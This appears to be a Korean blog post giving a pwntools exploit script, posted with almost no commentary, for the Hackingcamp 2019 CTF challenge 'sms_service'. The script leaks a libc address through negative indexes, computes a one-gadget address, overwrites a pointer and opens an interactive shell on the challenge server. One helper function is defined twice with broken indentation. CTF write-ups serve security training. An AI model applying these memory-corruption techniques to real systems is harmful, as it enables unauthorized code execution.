[Hackingcamp 19] sms_service

2019. 2. 20. 10:48·PWN/CTF
728x90

꿀잼 문제


from pwn import *

#s = process("./sms_service",env={'LD_PRELOAD':'./libc'})
s = remote("pwnable.shop",10001)

elf = ELF("./sms_service")

libc = ELF("./libc")


def soldier(name,index):
    s.recvuntil(">> ")
    s.sendline("1")
    s.recvuntil(">> ")
    s.sendline("1")
    s.recvuntil(">> ")
    s.send(name)
    s.recvuntil(">> ")
    s.sendline(str(index))
        


def citizen_set():
    s.recvuntil(">> ")
    s.sendline('2')
    s.recvuntil(">> ")
    s.send(cti_name)
    s.recvuntil(">> ")

def citizen_set(cti_name):
s.recvuntil(">> ")
s.sendline('2')
s.recvuntil(">> ")
s.sendline(cti_name)
    


def main():
    s.recvuntil(">> ")
    s.sendline("3")



soldier("\x00",-263011)

s.recvuntil("Msg : ")
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
one_shot = libc_base + 0xf02a4
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "one_shot : " + hex(one_shot)
main()
#-19

citizen_set(p64(0x10539))
main()
soldier("A"*64,-19)
main()
soldier("\x00"*64,-19)
main()
soldier("JIWON",-263011)
main()
citizen_set("JIWON")
s.recvuntil(">> ")
s.sendline("1")
s.recvuntil(">> ")
s.sendline(p64(one_shot))


s.interactive()


저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[Hackingcamp 19] guess  (0) 2019.02.20
[Hackingcamp 19] Orange  (0) 2019.02.20
[Asis 2015] math sequence  (0) 2019.02.15
[Asis 2016] b00ks  (0) 2019.02.06
[Codegate 2019] got-the-reum  (0) 2019.02.05
'PWN/CTF' 카테고리의 다른 글
  • [Hackingcamp 19] guess
  • [Hackingcamp 19] Orange
  • [Asis 2015] math sequence
  • [Asis 2016] b00ks
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[Hackingcamp 19] sms_service
상단으로

티스토리툴바